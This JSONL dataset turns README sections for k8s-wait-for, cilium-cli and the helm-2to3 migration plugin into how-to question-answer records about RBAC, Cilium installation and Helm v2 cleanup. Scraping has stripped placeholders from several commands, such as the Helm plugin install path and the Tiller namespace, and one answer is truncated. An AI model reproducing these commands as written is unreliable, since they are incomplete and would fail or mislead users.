{"id": "gh_596daaf045dc", "question": "How to: Troubleshooting", "question_body": "About groundnuty/k8s-wait-for", "answer": "Verify that you can access the Kubernetes API from within the k8s-wait-for container by running `kubectl get services`. If you get a permissions error like\n\n`Error from server (Forbidden): services is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"services\" in API group \"\" in the namespace \"default\"`\n\nthe pod lacks the permissions to perform the `kubectl get` query. To fix this, follow the instrctions for the 'pod-reader' role and clusterrole [here](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#kubectl-create-role\n).\n\nor use these command lines which add services and deployments to the pods in those examples:\n`kubectl create role pod-reader --verb=get --verb=list --verb=watch --resource=pods,services,deployments`\n\n`kubectl create rolebinding default-pod-reader --role=pod-reader --serviceaccount=default:default --namespace=default`\n\nAn extensive discussion on the problem of granting necessary permissions and a number of example solutions can be found [here](https://github.com/groundnuty/k8s-wait-for/issues/6).\n\nMake sure the service account is mounted. `The connection to the server localhost:8080 was refused - did you specify the right host or port?` might indicate that the service account is not mounted to the pod. Double check whether your service account and pod define `automountServiceAccountToken: true`. If the service account is mounted, you should see files inside `/var/run/secrets/kubernetes.io/serviceaccount` folder, otherwise `/var/run/secrets/kubernetes.io` might not exist at all.", "tags": ["groundnuty"], "source": "github_gists", "category": "groundnuty", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 634, "answer_score": 10, "has_code": false, "url": "https://github.com/groundnuty/k8s-wait-for", "collected_at": "2026-01-17T12:58:29.730893"}
{"id": "gh_46c01c66f33f", "question": "How to: Installation", "question_body": "About cilium/cilium-cli", "answer": "To build and install, use the `install` target:\n\n```console\nmake install\n```\n\nYou may set the `BINDIR` environment variable to install the binary in a\nspecific location instead of `/usr/local/bin`, e.g.\n\n```\nBINDIR=~/.local/bin make install\n```\n\nAlternatively, to install the latest binary release:\n\n```\nCILIUM_CLI_VERSION=$(curl -s https://raw.githubusercontent.com/cilium/cilium-cli/main/stable.txt)\nGOOS=$(go env GOOS)\nGOARCH=$(go env GOARCH)\ncurl -L --remote-name-all https://github.com/cilium/cilium-cli/releases/download/${CILIUM_CLI_VERSION}/cilium-${GOOS}-${GOARCH}.tar.gz{,.sha256sum}\nsha256sum --check cilium-${GOOS}-${GOARCH}.tar.gz.sha256sum\nsudo tar -C /usr/local/bin -xzvf cilium-${GOOS}-${GOARCH}.tar.gz\nrm cilium-${GOOS}-${GOARCH}.tar.gz{,.sha256sum}\n```\n\nSee https://github.com/cilium/cilium-cli/releases for supported `GOOS`/`GOARCH`\nbinary releases.", "tags": ["cilium"], "source": "github_gists", "category": "cilium", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 540, "answer_score": 10, "has_code": true, "url": "https://github.com/cilium/cilium-cli", "collected_at": "2026-01-17T12:58:31.358651"}
{"id": "gh_0c5956b5951e", "question": "How to: Install Cilium", "question_body": "About cilium/cilium-cli", "answer": "To install Cilium while automatically detected:\n\n    cilium install\n    🔮 Auto-detected Kubernetes kind: minikube\n    ✨ Running \"minikube\" validation checks\n    ✅ Detected minikube version \"1.5.2\"\n    ℹ️  Cilium version not set, using default version \"v1.9.1\"\n    🔮 Auto-detected cluster name: minikube\n    🔑 Found existing CA in secret cilium-ca\n    🔑 Generating certificates for Hubble...\n    🚀 Creating service accounts...\n    🚀 Creating cluster roles...\n    🚀 Creating ConfigMap...\n    🚀 Creating agent DaemonSet...\n    🚀 Creating operator Deployment...\n\n#### Supported Environments\n\n - [x] minikube\n - [x] kind\n - [x] EKS\n - [x] self-managed\n - [x] GKE\n - [x] AKS BYOCNI\n - [x] k3s\n - [ ] Rancher", "tags": ["cilium"], "source": "github_gists", "category": "cilium", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 540, "answer_score": 10, "has_code": true, "url": "https://github.com/cilium/cilium-cli", "collected_at": "2026-01-17T12:58:31.358671"}
{"id": "gh_a4da93a4d40a", "question": "How to: Cluster Context Management", "question_body": "About cilium/cilium-cli", "answer": "cilium context\n    Context: minikube\n    Cluster: minikube\n    Auth: minikube\n    Host: https://192.168.64.25:8443\n    TLS server name:\n    CA path: /Users/tgraf/.minikube/ca.crt", "tags": ["cilium"], "source": "github_gists", "category": "cilium", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 540, "answer_score": 10, "has_code": true, "url": "https://github.com/cilium/cilium-cli", "collected_at": "2026-01-17T12:58:31.358677"}
{"id": "gh_4c8e0a73b299", "question": "How to: Connectivity Check", "question_body": "About cilium/cilium-cli", "answer": "cilium connectivity test --single-node\n    ⌛ Waiting for deployments to become ready\n    🔭 Enabling Hubble telescope...\n    ⚠️  Unable to contact Hubble Relay: rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing dial tcp [::1]:4245: connect: connection refused\"\n    ⚠️  Did you enable and expose Hubble + Relay?\n    ℹ️  You can export Relay with a port-forward: kubectl port-forward -n kube-system deployment/hubble-relay 4245:4245\n    ℹ️  Disabling Hubble telescope and flow validation...\n    -------------------------------------------------------------------------------------------\n    🔌 Validating from pod cilium-test/client-9f579495f-b2pcq to pod cilium-test/echo-same-node-7f877bbf9-p2xg8...\n    -------------------------------------------------------------------------------------------\n    ✅ client pod client-9f579495f-b2pcq was able to communicate with echo pod echo-same-node-7f877bbf9-p2xg8 (10.0.0.166)\n    -------------------------------------------------------------------------------------------\n    🔌 Validating from pod cilium-test/client-9f579495f-b2pcq to outside of cluster...\n    -------------------------------------------------------------------------------------------\n    ✅ client pod client-9f579495f-b2pcq was able to communicate with cilium.io\n    -------------------------------------------------------------------------------------------\n    🔌 Validating from pod cilium-test/client-9f579495f-b2pcq to local host...\n    -------------------------------------------------------------------------------------------\n    ✅ client pod client-9f579495f-b2pcq was able to communicate with local host\n    -------------------------------------------------------------------------------------------\n    🔌 Validating from pod cilium-test/client-9f579495f-b2pcq to service echo-same-node...\n    -------------------------------------------------------------------------------------------\n    ✅ client pod client-9f579495f-b2pcq was able to communicate with service echo-same-node\n\n#### With Flow Validation\n\n    cilium hubble port-forward&\n    cilium connectivity test --single-node\n    ⌛ Waiting for deployments to become ready\n    🔭 Enabling Hubble telescope...\n    Handling connection for 4245\n    ℹ️  Hubble is OK, flows: 405/4096\n    -------------------------------------------------------------------------------------------\n    🔌 Validating from pod cilium-test/client-9f579495f-b2pcq to pod cilium-test/echo-same-node-7f877bbf9-p2xg8...\n    -------------------------------------------------------------------------------------------\n    📄 Flow logs of pod cilium-test/client-9f579495f-b2pcq:\n    Jan  6 13:41:17.739: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: SYN)\n    Jan  6 13:41:17.739: 10.0.0.166:8080 -> 10.0.0.11:43876 to-endpoint FORWARDED (TCP Flags: SYN, ACK)\n    Jan  6 13:41:17.739: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK)\n    Jan  6 13:41:17.739: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK, PSH)\n    Jan  6 13:41:17.755: 10.0.0.166:8080 -> 10.0.0.11:43876 to-endpoint FORWARDED (TCP Flags: ACK, PSH)\n    Jan  6 13:41:17.756: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK, FIN)\n    Jan  6 13:41:17.757: 10.0.0.166:8080 -> 10.0.0.11:43876 to-endpoint FORWARDED (TCP Flags: ACK, FIN)\n    Jan  6 13:41:17.757: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK)\n    📄 Flow logs of pod cilium-test/echo-same-node-7f877bbf9-p2xg8:\n    Jan  6 13:41:17.739: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: SYN)\n    Jan  6 13:41:17.739: 10.0.0.166:8080 -> 10.0.0.11:43876 to-endpoint FORWARDED (TCP Flags: SYN, ACK)\n    Jan  6 13:41:17.739: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK)\n    Jan  6 13:41:17.739: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK, PSH)\n    Jan  6 13:41:17.755: 10.0.0.166:8080 -> 10.0.0.11:43876 to-endpoint FORWARDED (TCP Flags: ACK, PSH)\n    Jan  6 13:41:17.756: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK, FIN)\n    Jan  6 13:41:17.757: 10.0.0.166:8080 -> 10.0.0.11:43876 to-endpoint FORWARDED (TCP Flags: ACK, FIN)\n    Jan  6 13:41:17.757: 10.0.0.11:43876 -> 10.0.0.166:8080 to-endpoint FORWARDED (TCP Flags: ACK)\n    ✅ client pod client-9f579495f-b2pcq was able to communicate with echo pod echo-same-node-7f877bbf9-p2xg8 (10.0.0.166)\n    -------------------------------------------------------------------------------------------\n    🔌 Validating from pod cilium-test/client-9f579495f-b2pcq to outside of cluster...\n    -------------------------------------------------------------------------------------------\n    ❌ Found RST in pod cilium-test/client-9f579495f-b2pcq\n    ❌ FIN not found in pod cilium-test/client-9f579495f-b2pcq\n    📄 Flow logs of pod cilium-test/client-9f579495f-b2pcq:\n    Jan  6 13:41:22.025: 10.0.0.11:55334 -> 10.0.0.243:53 t", "tags": ["cilium"], "source": "github_gists", "category": "cilium", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 540, "answer_score": 10, "has_code": true, "url": "https://github.com/cilium/cilium-cli", "collected_at": "2026-01-17T12:58:31.358729"}
{"id": "gh_26d9b464c088", "question": "How to: ClusterMesh", "question_body": "About cilium/cilium-cli", "answer": "Install Cilium & enable ClusterMesh in Cluster 1\n\n    cilium install --set=cluster.id=1\n    🔮 Auto-detected Kubernetes kind: GKE\n    ℹ️  Cilium version not set, using default version \"v1.9.1\"\n    🔮 Auto-detected cluster name: gke-cilium-dev-us-west2-a-tgraf-cluster1\n    ✅ Detected GKE native routing CIDR: 10.52.0.0/14\n    🚀 Creating resource quotas...\n    🔑 Found existing CA in secret cilium-ca\n    🔑 Generating certificates for Hubble...\n    🚀 Creating service accounts...\n    🚀 Creating cluster roles...\n    🚀 Creating ConfigMap...\n    🚀 Creating GKE Node Init DaemonSet...\n    🚀 Creating agent DaemonSet...\n    🚀 Creating operator Deployment...\n\n    cilium clustermesh enable\n    ✨ Validating cluster configuration...\n    ✅ Valid cluster identification found: name=\"gke-cilium-dev-us-west2-a-tgraf-cluster1\" id=\"1\"\n    🔑 Found existing CA in secret cilium-ca\n    🔑 Generating certificates for ClusterMesh...\n    ✨ Deploying clustermesh-apiserver...\n    🔮 Auto-exposing service within GCP VPC (cloud.google.com/load-balancer-type=internal)\n\nInstall Cilium in Cluster 2\n\n    cilium install --context gke_cilium-dev_us-west2-a_tgraf-cluster2 --set=cluster.id=2\n    🔮 Auto-detected Kubernetes kind: GKE\n    ℹ️  Cilium version not set, using default version \"v1.9.1\"\n    🔮 Auto-detected cluster name: gke-cilium-dev-us-west2-a-tgraf-cluster2\n    ✅ Detected GKE native routing CIDR: 10.4.0.0/14\n    🚀 Creating resource quotas...\n    🔑 Found existing CA in secret cilium-ca\n    🔑 Generating certificates for Hubble...\n    🚀 Creating service accounts...\n    🚀 Creating cluster roles...\n    🚀 Creating ConfigMap...\n    🚀 Creating GKE Node Init DaemonSet...\n    🚀 Creating agent DaemonSet...\n    🚀 Creating operator Deployment...\n\n    cilium clustermesh enable --context gke_cilium-dev_us-west2-a_tgraf-cluster2\n    ✨ Validating cluster configuration...\n    ✅ Valid cluster identification found: name=\"gke-cilium-dev-us-west2-a-tgraf-cluster2\" id=\"2\"\n    🔑 Found existing CA in secret cilium-ca\n    🔑 Generating certificates for ClusterMesh...\n    ✨ Deploying clustermesh-apiserver...\n    🔮 Auto-exposing service within GCP VPC (cloud.google.com/load-balancer-type=internal)\n\nConnect Clusters\n\n    cilium clustermesh connect --destination-context gke_cilium-dev_us-west2-a_tgraf-cluster2\n    ✨ Extracting access information of cluster gke-cilium-dev-us-west2-a-tgraf-cluster2...\n    🔑 Extracting secrets from cluster gke-cilium-dev-us-west2-a-tgraf-cluster2...\n    ℹ️  Found ClusterMesh service IPs: [10.168.15.209]\n    ✨ Extracting access information of cluster gke-cilium-dev-us-west2-a-tgraf-cluster1...\n    🔑 Extracting secrets from cluster gke-cilium-dev-us-west2-a-tgraf-cluster1...\n    ℹ️  Found ClusterMesh service IPs: [10.168.15.208]\n    ✨ Connecting cluster gke_cilium-dev_us-west2-a_tgraf-cluster1 -> gke_cilium-dev_us-west2-a_tgraf-cluster2...\n    🔑 Patching existing secret cilium-clustermesh...\n    ✨ Patching DaemonSet with IP aliases cilium-clustermesh...\n    ✨ Connecting cluster gke_cilium-dev_us-west2-a_tgraf-cluster2 -> gke_cilium-dev_us-west2-a_tgraf-cluster1...\n    🔑 Patching existing secret cilium-clustermesh...\n    ✨ Patching DaemonSet with IP aliases cilium-clustermesh...", "tags": ["cilium"], "source": "github_gists", "category": "cilium", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 540, "answer_score": 10, "has_code": true, "url": "https://github.com/cilium/cilium-cli", "collected_at": "2026-01-17T12:58:31.358751"}
{"id": "gh_7e28f3afdafc", "question": "How to: Encryption", "question_body": "About cilium/cilium-cli", "answer": "Install a Cilium in a cluster and enable encryption with IPsec\n\n    cilium install --encryption=ipsec\n    🔮 Auto-detected Kubernetes kind: kind\n    ✨ Running \"kind\" validation checks\n    ✅ Detected kind version \"0.9.0\"\n    ℹ️  Cilium version not set, using default version \"v1.9.2\"\n    🔮 Auto-detected cluster name: kind-chart-testing\n    🔮 Auto-detected IPAM mode: kubernetes\n    🔑 Found existing CA in secret cilium-ca\n    🔑 Generating certificates for Hubble...\n    🚀 Creating Service accounts...\n    🚀 Creating Cluster roles...\n    🔑 Generated encryption secret cilium-ipsec-keys\n    🚀 Creating ConfigMap...\n    🚀 Creating Agent DaemonSet...\n    🚀 Creating Operator Deployment...\n    ⌛ Waiting for Cilium to be installed...", "tags": ["cilium"], "source": "github_gists", "category": "cilium", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 540, "answer_score": 10, "has_code": true, "url": "https://github.com/cilium/cilium-cli", "collected_at": "2026-01-17T12:58:31.358759"}
{"id": "gh_76777587f3f2", "question": "How to: Helm 2to3 Plugin", "question_body": "About helm/helm-2to3", "answer": "[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)\n[![Go Report Card](https://goreportcard.com/badge/github.com/helm/helm-2to3)](https://goreportcard.com/report/github.com/helm/helm-2to3)\n[![CircleCI](https://circleci.com/gh/helm/helm-2to3/tree/main.svg?style=svg)](https://circleci.com/gh/helm/helm-2to3/tree/main)\n[![Release](https://img.shields.io/github/release/helm/helm-2to3.svg?style=flat-square)](https://github.com/helm/helm-2to3/releases/latest)\n\n![diagram](./helm-2to3.png)\n\n**Helm v3 plugin which migrates and cleans up Helm v2 configuration and releases in-place to Helm v3**", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 492, "answer_score": 10, "has_code": false, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168782"}
{"id": "gh_705778a04df7", "question": "How to: ⚠️ Deprecation and Archive Notice", "question_body": "About helm/helm-2to3", "answer": "The `2to3` plugin is deprecated and no longer supported. Helm 3 was released in November 2019 and Helm 2 became unsupported in November 2020. It would be expected that all users should be migrated to Helm 3 by this time. Therefore, the plugin has now been deprecated by the maintainers.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 492, "answer_score": 10, "has_code": false, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168797"}
{"id": "gh_589124cef5a5", "question": "How to: Readme before migration", "question_body": "About helm/helm-2to3", "answer": "***WARNING:*** All data migrations carry a level of risk. Helm v2 migration is no different.\nYou should be aware of any risks specific to your environment and prepare a data migration\nstrategy for your needs.\n\nHere are some suggestions to mitigate against potential risks during migration:\n\n- Perform a data backup of the following:\n  - Helm v2 home folder.\n  - Release data from the cluster. Refer to [How Helm Uses ConfigMaps to Store Data](http://technosophos.com/2017/03/23/how-helm-uses-configmaps-to-store-data.html)\n  for details on how Helm v2 store release data in the cluster. This should apply\n  similarly if Helm v2 is configured for secrets.\n- Avoid performing operations with Helm v3 until data migration is complete and you are\n  satisfied that it is working as expected. Otherwise, Helm v3 data might be overwritten.\n  The operations to avoid are chart install, adding repositories, plugin install etc.\n- The recommended data migration path is as follows:\n  1. Backup v2 data, as suggested above.\n  2. Migrate [Helm v2 configuration](#migrate-helm-v2-configuration).\n  3. Migrate [Helm v2 releases](#migrate-helm-v2-releases).\n  4. When happy that Helm v3 is managing Helm v2 data as expected, then [clean up](#clean-up-helm-v2-data) Helm v2 data.\n     *Note:*: Only use the plugin to do clean up. Using `helm`, `kubectl` or other tools could lead to data loss and an indeterminate\n      state for the release(s).\n\n**Note:**\nA Helm v2 client:\n\n- can manage 1 to many Kubernetes clusters.\n- can connect to 1 to many Tiller instances for  a cluster.\n\nThis means that you have to cognisant of this when migrating as releases are deployed into clusters by Tiller and\nits namespace. You have to therefore be aware of migrating for each cluster and each Tiller instance that is managed\nby the Helm v2 client instance. [Clean up](#clean-up-helm-v2-data) should only be run once all migration for a Helm v2 client is complete.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168809"}
{"id": "gh_968b65a25d08", "question": "How to: Prerequisite", "question_body": "About helm/helm-2to3", "answer": "- Helm v2 client installed on a system which manages releases on one to many clusters\n- Helm v3 client with `2to3` plugin installed on the same system\n- Access to the cluster(s) that Helm v2 client is managing and which Helm v3 will manage after migration. This access is similar to `kubectl` access using [kubeconfig files](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/).\n  The `--kubeconfig` and `--kube-context` flags can be used with the `convert` and `cleanup` commands to set the kubeconfig path and context to override the environment configuration.\n- Access to the `tiller` namespace for required RBAC roles. If `Tillerless` setup, then a service account with the proper cluster wide RBAC roles will need to be used. If not used, `forbidden` errors will be thrown when trying to access restricted resources.\n  - The plugin requires these RBAC resource permissions at the least. Additional resources might be needed depending on your environment setup\n    ```yaml\n    apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRole\n    metadata:\n      name:\nrules:\n    - apiGroups:\n        - \"\"\n      resources:\n        - pods\n      verbs:\n        - list\n        - get\n    - apiGroups:\n        - \"\"\n      resources:\n        - configmaps\n      verbs:\n        - list\n        - get\n        - delete\n    ```", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168818"}
{"id": "gh_a42aad5842d3", "question": "How to: Recommended Prior to Migration", "question_body": "About helm/helm-2to3", "answer": "This is a list of recommendations prior to migration:\n\n- [Latest](https://github.com/helm/helm/releases/tag/v2.17.0) Helm v2 version.\n- [Latest](https://github.com/helm/helm/releases) Helm v3 version.\n- Update Helm v2 releases to supported Kubernetes APIs prior to migrating. Check out [Deprecated Kubernetes APIs](https://v2.helm.sh/docs/using_helm/#deprecated-kubernetes-apis) docs and Helm [mapkubeapis plugin](https://github.com/hickeyma/helm-mapkubeapis) for more details.\n- Upgrade Kubernetes clusters to [supported versions](https://kubernetes.io/docs/setup/release/version-skew-policy/).", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 492, "answer_score": 10, "has_code": false, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168825"}
{"id": "gh_7df2a8db8086", "question": "How to: For Windows (using WSL)", "question_body": "About helm/helm-2to3", "answer": "Helm's plugin install hook system relies on `/bin/sh`, regardless of the operating system present. Windows users can work around this by using Helm under [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10).\n\n```console\n$ wget https://get.helm.sh/helm-v3.0.0-linux-amd64.tar.gz\n$ tar xzf helm-v3.0.0-linux-amd64.tar.gz\n$ ./linux-amd64/helm plugin install https://github.com/helm/helm-2to3\n```", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168831"}
{"id": "gh_99f925fc9415", "question": "How to: Migrate Helm v2 configuration", "question_body": "About helm/helm-2to3", "answer": "Migrate Helm v2 configuration in-place to Helm v3:\n\n```console\n$ helm 2to3 move config [flags]\n\nFlags:\n\n      --dry-run  simulate a command\n      --skip-confirmation   if set, skips confirmation message before performing move\n  -h, --help     help for move\n```\n\nIt will migrate:\n\n- Chart starters\n- Repositories\n- Plugins\n\n**Note:**\n\n- The `move config` command will create the Helm v3 config and data folders if they don't exist, and will override the `repositories.yaml` file if it does exist.\n- For migration it uses default Helm v2 home and v3 config and data folders. To override those folders you need to set environment variables\n`HELM_V2_HOME`, `HELM_V3_CONFIG` and `HELM_V3_DATA`:\n\n```console\n$ export HELM_V2_HOME=$PWD/.helm2\n$ export HELM_V3_CONFIG=$PWD/.helm3\n$ export HELM_V3_DATA=$PWD/.helm3\n$ helm 2to3 move config\n```\n\n#### Readme after configuration migration\n\n- After running the command, check that all Helm v2 plugins work fine with the Helm v3. If any issue with a plugin, remove it (`\nplugin remove`) and\nre-add (`\nplugin install`) it as required.\n- The repository file `repositories.yaml` is copied to Helm v3 which contains references to repositories added in Helm v2. Local respoitories are not copied to Helm v3.\nYou should remove all local repositories from Helm v3 using `\nrepo remove` and re-add where necessary using `\nrepo add`. This is a necessary refresh to align references\nfor Helm v3.\n- When you are happy with your repository list, update the Helm v3 repo `\nrepo update`. This cleans up any Helm v2 cache references from Helm v3.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168839"}
{"id": "gh_35ce5a306dca", "question": "How to: Migrate Helm v2 releases", "question_body": "About helm/helm-2to3", "answer": "Migrate Helm v2 releases in-place to Helm v3\n\n```console\n$ helm 2to3 convert [flags] RELEASE\n\nFlags:\n\n      --delete-v2-releases         v2 release versions are deleted after migration. By default, the v2 release versions are retained\n      --dry-run                    simulate a command\n  -h, --help                       help for convert\n      --ignore-already-migrated    Ignore any already migrated release versions and continue migrating\n      --kube-context string        name of the kubeconfig context to use\n      --kubeconfig string          path to the kubeconfig file\n  -l, --label string               label to select Tiller resources by (default \"OWNER=TILLER\")\n  -s, --release-storage string     v2 release storage type/object. It can be 'secrets' or 'configmaps'. This is only used with the 'tiller-out-cluster' flag (default \"secrets\")\n      --release-versions-max int   limit the maximum number of versions converted per release. Use 0 for no limit (default 10)\n  -t, --tiller-ns string           namespace of Tiller (default \"kube-system\")\n      --tiller-out-cluster         when  Tiller is not running in the cluster e.g. Tillerless\n```\n\n**Note:** There is a limit set on the number of versions/revisions of a release that are converted. It is defaulted to 10 but can be configured with the `--release-versions-max` flag.\nWhen the limit set is less that the actual number of versions then only the latest release versions up to the limit will be converted. Older release versions with not be converted.\nIf `--delete-v2-releases` is set, these older versions will remain in Helm v2 storage but will no longer be visible to Helm v2 commands like `helm list`. [Clean up](#clean-up-helm-v2-data)\nwill remove them from storage.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168845"}
{"id": "gh_96b8eb159eb6", "question": "How to: Clean up Helm v2 data", "question_body": "About helm/helm-2to3", "answer": "Clean up Helm v2 configuration, release data and Tiller deployment:\n\n```console\n$ helm 2to3 cleanup [flags]\n\nFlags:\n\n      --config-cleanup           if set, configuration cleanup performed\n      --dry-run                  simulate a command\n  -h, --help                     help for cleanup\n      --kube-context string      name of the kubeconfig context to use\n      --kubeconfig string        path to the kubeconfig file\n  -l, --label string             label to select Tiller resources by (default \"OWNER=TILLER\")\n      --name string              the release name. When it is specified, the named release and its versions will be removed only. Should not be used with other cleanup operations\n      --release-cleanup          if set, release data cleanup performed\n  -s, --release-storage string   v2 release storage type/object. It can be 'secrets' or 'configmaps'. This is only used with the 'tiller-out-cluster' flag (default \"secrets\")\n      --skip-confirmation        if set, skips confirmation message before performing cleanup\n      --tiller-cleanup           if set, Tiller cleanup performed\n  -t, --tiller-ns string         namespace of Tiller (default \"kube-system\")\n      --tiller-out-cluster       when  Tiller is not running in the cluster e.g. Tillerless\n```\n\nA full clean will remove the:\n\n- Configuration (Helm home directory)\n- v2 release data\n- Tiller deployment\n\n**Note:** Before performing a full or release data clean, remove any Helm v2 releases which have not been migrated to Helm v3 and are unwanted. They can be removed using the Helm v2 `delete` command. If they are not removed before clean up of the v2 release data then the Kubernetes resources deployed by the Helm release will remain in your cluster. In other words, the resources will be 'orphaned' without any Helm release associated.\n\nCleanup of individual parts can be performed using the following flags:\n\n- `--config-cleanup` for configuration\n- `--release-cleanup` for v2 release data\n- `--tiller-cleanup` for Tiller deployment\n- `--name` for a release and its versions. This is a singular operation and is not to be used with the other cleanup operations.\n\nIf none of these flags are set, then full cleanup is performed.\n\nThe cleanup uses the default Helm v2 home folder.\nTo override this folder you need to set the environment variable `HELM_V2_HOME`:\n\n```console\n$ export HELM_V2_HOME=$PWD/.helm2\n$ helm 2to3 cleanup\n```\n\n**Warning:** The full `cleanup`  command will remove the Helm v2 Configuration, Release Data and Tiller Deployment.\nIt cleans up all releases managed by Helm v2. It will not be possible to restore them if you haven't made a backup of the releases.\nHelm v2 will not be usable afterwards. Full cleanup  should only be run once all migration (clusters and Tiller instances) for a Helm v2 client instance is complete.\nHelm v2 may also become unusable depending on cleanup of individual parts.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168855"}
{"id": "gh_6bb21903c4d5", "question": "How to: Troubleshooting", "question_body": "About helm/helm-2to3", "answer": "***Q. I get an error when I try to do a chart dependency update in Helm v3 after configuration migration***\n\nError might be similar to the following:\n\n```console\n$ helm dep update chrt-1/\nHang tight while we grab the latest from your chart repositories...\n...Unable to get an update from the \"local\" chart repository (http://127.0.0.1:8879/charts):\nGet http://127.0.0.1:8879/charts/index.yaml: dial tcp 127.0.0.1:8879: connect: connection refused\n...Successfully got an update from the \"stable\" chart repository\nUpdate Complete. ⎈Happy Helming!⎈\nError: open /home/usr1/.cache/helm/repository/local-index.yaml: no such file or directory\n```\n\nA. Local respoitories are not copied to Helm v3. You therefore need to remove all local repositories from Helm v3 using `\nrepo remove` and re-add where\nrequired using `\nrepo add`. This is a necessary refresh to align references for Helm v3 and remove the conflict. It is worthwhile to also refresh the\nrepository list afterwards: `\nrepo update`. You should then be able to run the chart dependency update command successfully.\n\n***Q. I get an error when I try to do a helm upgrade in Helm v3 after migration***\n\nError might be similar to the following:\n\n```console\n$ helm upgrade nginx bitnami/nginx\nError: failed to download \"bitnami/nginx\" (hint: running `helm repo update` may help)\n```\n\nA. This can happen when there are conflicts in the local repository list that Helm v3 cannot resolve. This can be fixed by running the `helm repo update` command.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168864"}
{"id": "gh_6c13040431c2", "question": "How to: Frequently Asked Questions", "question_body": "About helm/helm-2to3", "answer": "***Q. How do you perform Helm v2 release migration as a batch operation?***\n\nA. You can perform batch migration of releases using a command as follows:\n\n```console\n$ kubectl get [configmap|secret] -n\n\\\n -l \"OWNER=TILLER\" | awk '{print $1}' | grep -v NAME | cut -d '.' -f1 | uniq | xargs -n1 helm 2to3 convert\n```\n\nAn example of migrating releases which are stored as ConfigMaps in Tiller namespace `kube-system`:\n\n```console\n$ kubectl get configmap -n kube-system -l \"OWNER=TILLER\" \\\n | awk '{print $1}' | grep -v NAME | cut -d '.' -f1 | uniq | xargs -n1 helm 2to3 convert\n```", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168870"}
{"id": "gh_4ffecb2cdcaa", "question": "How to: Developer (From Source) Install", "question_body": "About helm/helm-2to3", "answer": "If you would like to handle the build yourself, this is the recommended way to do it.\n\nYou must first have [Go v1.22](http://golang.org) installed, and then you run:\n\n```console\n$ git clone git@github.com:helm/helm-2to3.git\n$ cd helm-2to3\n$ make build\n$ export HELM_LINTER_PLUGIN_NO_INSTALL_HOOK=true\n$ helm plugin install\n/helm-2to3\n```\n\nThat last command will use the binary that you built.", "tags": ["helm"], "source": "github_gists", "category": "helm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 492, "answer_score": 10, "has_code": true, "url": "https://github.com/helm/helm-2to3", "collected_at": "2026-01-17T12:58:33.168875"}
